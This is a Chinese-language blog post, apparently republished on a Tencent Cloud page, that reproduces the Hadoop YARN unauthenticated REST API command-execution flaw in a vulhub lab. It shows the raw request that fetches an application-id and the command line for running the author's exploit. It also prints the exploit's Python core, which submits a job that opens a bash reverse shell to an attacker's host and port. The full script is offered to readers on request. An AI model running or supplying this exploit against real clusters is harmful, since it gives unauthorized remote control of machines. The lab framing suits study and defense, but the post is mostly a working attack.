一、环境搭建:

进入镜像目录:

cd vulhub/hadoop/unauthorized-yarn

启动环境:

docker-compose up -d

访问8088端口

3924222fd1b7d70eca1ac734f6de7905.png

二、漏洞描述:

Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)

漏洞原因:

负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器

三、漏洞复现:

访问ws/v1/cluster/apps/new-application可以获取id的值:

POST /ws/v1/cluster/apps/new-application HTTP/1.1Host: 192.168.136.131:8088User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

3c9d415e99e222a32e7d958f4fb2da9f.png

直接使用EXP进行反弹shell:

d1fdc0e01226b49d2d5de200307293b0.png

python3 Hadoop_EXP.py http://192.168.136.131:8088 -l 192.168.136.129 -p 7777

成功收到反弹shell:

8d507e90669da29ccd2d4ab5adf5cbf5.png

脚本的核心代码(自写):

具体实现思路看代码注释

class Hadoop:    def __init__(self):        self.headers = {            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',        }    def rshell(self):        # 获取application-id的值        r = requests.post(result.url + '/ws/v1/cluster/apps/new-application', headers=self.headers)        id = json.loads(r.text)['application-id']        # 执行命令,调用 Submit Application API 提交        data = {            'application-id': id,            'application-name': 'getshell',            'am-container-spec': {                'commands': {                    'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (result.lhost, result.lport)                },            },            'application-type': 'YARN',        }        rr = requests.post(result.url + '/ws/v1/cluster/apps', headers=self.headers, json=data)        print("[+] 执行完成!")    def run(self):        print(f"[*] 请先在你的vps:{result.lhost} 监听:{result.lport} 端口,等待shell回连!")        self.rshell()

脚本已经打包好了,需要的后台留言:Hadoop exp,链接有效期为7天,请注意保存,请仅用于学习研究!

各位师傅可以加好友一起学习交流交个朋友,如果之前分享的exp失效了,也可以加我好友py一下:qq:1254311935

备注:公众号+师傅们的id吧

80a737148e6695ef9ab45c369e68e312.png

注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!

注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!

注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐